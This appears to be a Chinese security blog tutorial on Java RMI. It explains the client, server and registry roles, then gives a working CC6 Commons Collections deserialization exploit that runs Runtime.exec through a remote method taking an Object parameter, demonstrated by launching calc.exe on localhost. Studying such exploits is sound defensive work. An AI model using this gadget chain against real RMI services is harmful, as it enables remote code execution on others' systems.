java安全—RMI

java安全—RMI

Administrator 14 2024-10-19

rmi组成

RMI(Remote Method Invocation,远程方法调用)是Java的一项技术,允许一个Java对象在一个Java虚拟机(JVM)中调用另一个远程JVM中的对象的方法。

RMI分为三个主体部分:

  • Client-客户端:客户端调用服务端的方法
  • Server-服务端:远程调用方法对象的提供者,也是代码真正执行的地方,执行结束会返回给客户端一个方法执行的结果
  • Registry-注册中心:其实本质就是一个map,相当于是字典一样,用于客户端查询要调用的方法的引用,在低版本的JDK中,Server与Registry是可以不在一台服务器上的,而在高版本的JDK中,Server与Registry只能在一台服务器上,否则无法注册成功

RMI的调用目的就是调用一个服务端的类和调用一个自己客户端的类一样,但是RMI调用服务端的类,这个类的执行是在服务端

图片-zghv.png

服务端:

编写一个远程接口:

import java.rmi.Remote;
import java.rmi.RemoteException;


public interface IRemoteObj extends Remote {
    public String Hello() throws RemoteException;
    void doWork(Object object)throws RemoteException;
}

实现远程接口:

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RemoteObjImpl extends UnicastRemoteObject implements IRemoteObj {
    public RemoteObjImpl() throws RemoteException{

    }
    public String Hello() {
        System.out.println("hello~~~()");
        return "Hello,World!";
    }

    @Override
    public void doWork(Object object) throws RemoteException {

    }

}

创建远程服务类RMIserver

import java.net.MalformedURLException;
import java.rmi.AlreadyBoundException;
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIserver {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException, MalformedURLException {
        IRemoteObj remoteObj = new RemoteObjImpl();
        LocateRegistry.createRegistry(1099);
        Naming.rebind("rmi://localhost:1099/leekos",remoteObj);

    }
}

客户端:

创建一个远程服务接口

import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.Map;

public interface IRemoteObj extends Remote {
     String Hello() throws RemoteException;


     void doWork(Object object)throws RemoteException;
}

创建客户端远程服务:

import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient {
    public static void main(String[] args) throws RemoteException, NotBoundException, MalformedURLException {

        IRemoteObj remoteObj = (IRemoteObj) Naming.lookup("rmi://localhost:1099/leekos");
         String hello = remoteObj.Hello();
        System.out.println(hello);

    }

}

服务端结构层:

图片-kgal.png

客户端结构层:

图片-zfij.png

然后先执行服务端,再执行客户端

执行完成后:

服务端:

图片-zzca.png

客户端:

图片-ychz.png

可以看到成功调用了服务端的Hello方法,打印出来了hello\~\~\~()

所以客户端调用远程方法时,实际上是发送一个调用请求到服务器,由服务器执行该方法,并将结果返回给客户端。

RMI攻击——客户端攻击服务端

既然知道RMI是由客户端调用远程方法,发送一个调用请求到服务器,然后服务器会执行该方法,并且知道RMI在传递的过程中会发生反序列化和序列化的过程。那么如果服务端上的远程对象的方法形参中存在可以传递Object类型的方法,那我们传入一个构造好的序列化的利用链,那么就可以在反序列化被加载

上面代码中可以看到在服务端中IRemoteObj抽象接口是存在doWork()这个抽象方法的

图片-qozk.png

在服务端中方法的具体实现

图片-hnvs.png

现在已经在服务端有了可以传递Object类型的方法,那么如果我们在客户端远程调用这个方法,并且传递已经构造好的序列化的链子

记得在服务端添加CC依赖,这里使用cc6的链子去打

图片-lnfn.png

EXP:

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;


import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.util.HashMap;
import java.util.Map;


public class Client {
    public static void main(String[] args) throws MalformedURLException, NotBoundException, RemoteException, NoSuchFieldException, IllegalAccessException {
        IRemoteObj iRemoteHelloWorld = (IRemoteObj) Naming.lookup("rmi://localhost:1099/leekos");
        Map map = getPayload();
        iRemoteHelloWorld.doWork(map);
    }

    public static Map getPayload() throws IllegalAccessException, NoSuchFieldException {
        Transformer[] fakeTransformers = new Transformer[]{};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class,
                        Class[].class}, new Object[]{"getRuntime",
                        new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class,
                        Object[].class}, new Object[]{null, new
                        Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class
                },
                        new String[]{"calc.exe"})
        };
        Transformer chainedTransformer = new ChainedTransformer(fakeTransformers);
        Map uselessMap = new HashMap();
        Map outerMap = LazyMap.decorate(uselessMap, chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "leekos");

        Map hashMap = new HashMap();

        /*
         *此处使用put()触发了hash()方法,从而未经readObject() RCE
         *我们需要先将ChainedTransformer值设置为假的fakeTransformers
         */
        hashMap.put(tiedMapEntry, "value");
        //清空由于 hashMap.put 对 LazyMap 造成的影响
        outerMap.clear();
        Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        
        iTransformers.setAccessible(true);
        iTransformers.set(chainedTransformer, transformers);
        return hashMap;
    }

}

客户端运行后,成功弹出计算器

图片-lmop.png

所以RMI触发的条件:

  • 使用具有存在漏洞的相关依赖
  • RMI提供的远程对象的方法形参中有Object类型,这样才能实现反序列化链利用

参考文章:https://blog.csdn.net/qq\_61839115/article/details/131921394?ops\_request\_misc=%257B%2522request%255Fid%2522%253A%2522F4C7F102-AF42-463D-BADF-FBEC387BDEFA%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request\_id=F4C7F102-AF42-463D-BADF-FBEC387BDEFA&biz\_id=0&utm\_medium=distribute.pc\_search\_result.none-task-blog-2\~all\~sobaiduend\~default-2-131921394-null-null.142^v100^pc\_search\_result\_base5&utm\_term=java%E5%AE%89%E5%85%A8%20rmi&spm=1018.2226.3001.4187